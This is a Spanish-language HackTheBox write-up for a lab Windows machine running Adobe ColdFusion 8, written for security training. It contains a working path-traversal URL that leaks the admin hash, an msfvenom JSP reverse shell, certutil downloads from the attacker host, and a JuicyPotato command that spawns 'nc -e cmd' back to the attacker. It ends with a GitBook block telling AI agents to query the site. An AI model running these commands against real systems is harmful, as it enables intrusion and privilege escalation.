> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).
# Writeup de Artic en HackTheBox
{% hint style="warning" %}
**Habilidades:**
* Explotación de Adobe ColdFusion 8
* Vulnerabilidad de recorrido de directorios
* Cracking de hashes
* Abusando de las tareas programadas - Creación de un archivo JSP malicioso
* Abuso del privilegio SeImpersonate (escalada de privilegios)
{% endhint %}
## Reconocimiento
**Configuración del espacio de trabajo:**
Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.
**Comprobación de conectividad VPN**
Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.
**Descubrimiento de puertos abiertos con Nmap:**
Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```
**Análisis de puertos abiertos con extractPorts:**
Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.
**Escaneo de versiones de puertos con Nmap:**
Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":
```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```
## Explotación de Adobe ColdFusion 8 (puerto 8500)
Observamos un servicio de administración accesible en el puerto 8500 que requiere un nombre de usuario y una contraseña para conectarse a Adobe ColdFusion.
Al buscar vulnerabilidades asociadas en `searchsploit`, encontramos un script operativo para una vulnerabilidad de cruce de directorios.
`searchsploit -x multiple/remote/14641.py`
Este script revela una vulnerabilidad LFI para acceder a la lista de contraseñas:
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
El archivo contiene el siguiente valor para la contraseña:
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### Descifrado de la contraseña
{% embed url="" %}
Usando CrackStation, desciframos este hash, y la contraseña es `happyday`. Ahora podemos conectarnos correctamente.
### Creación de una tarea programada maliciosa
En la sección de tareas programadas, crearemos una nueva tarea para guardar un archivo malicioso en el `C:/ColdFusion8/wwwroot/CFIDE` directorio, al que tenemos permisos de lectura/escritura.
**Creación del archivo JSP:** Dado que el servidor puede interpretar archivos JSP, generaremos una shell JSP con `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**Añadir una nueva tarea:** Configuramos la tarea programada para ejecutar este archivo malicioso.
/*/* Servidor HTTP para transferir el archivo:/*/* Para transferir el archivo JSP, iniciamos un servidor HTTP en nuestra máquina:
```bash
python3 -m http.server 80
```
**Espera en escucha y ejecución:** Escuchamos en el puerto 443 para recibir la shell inversa y luego ejecutamos la tarea programada en `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
### Bandera user.txt :)
## Escalada de privilegios
### Abuso de SeImpersonatePrivilege:
Hemos descubierto que el usuario tiene el `SeImpersonatePrivilege` privilegio, lo que lo hace vulnerable a ciertas técnicas de elevación de privilegios. El siguiente comando confirma la presencia de este privilegio:
```bash
whoami /priv
```
Para explotar esta vulnerabilidad, usaremos **JuicyPotato**, una herramienta muy conocida para abusar de este privilegio en el contexto de Windows.
**Descargar las herramientas requeridas**
{% embed url="" %}
{% embed url="" %}
**Iniciando un servidor HTTP** en nuestra máquina atacante para servir archivos:
```bash
python3 -m http.server 8080
```
**Transferir archivos a la máquina objetivo** usando `certutil`:
```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```
**Ejecución de JuicyPotato para la elevación de privilegios**
Ahora ejecutaremos JuicyPotato para obtener una sesión privilegiada. El siguiente comando lanza JuicyPotato, que ejecuta `cmd.exe` con altos privilegios e inicia una conexión a nuestra máquina atacante mediante Netcat:
```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```
**Iniciar sesión en la sesión elevada**
Para interceptar la conexión, escuchamos en el puerto 1234:
```bash
rlwrap nc -nvlp 1234
```
### Flag de root :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.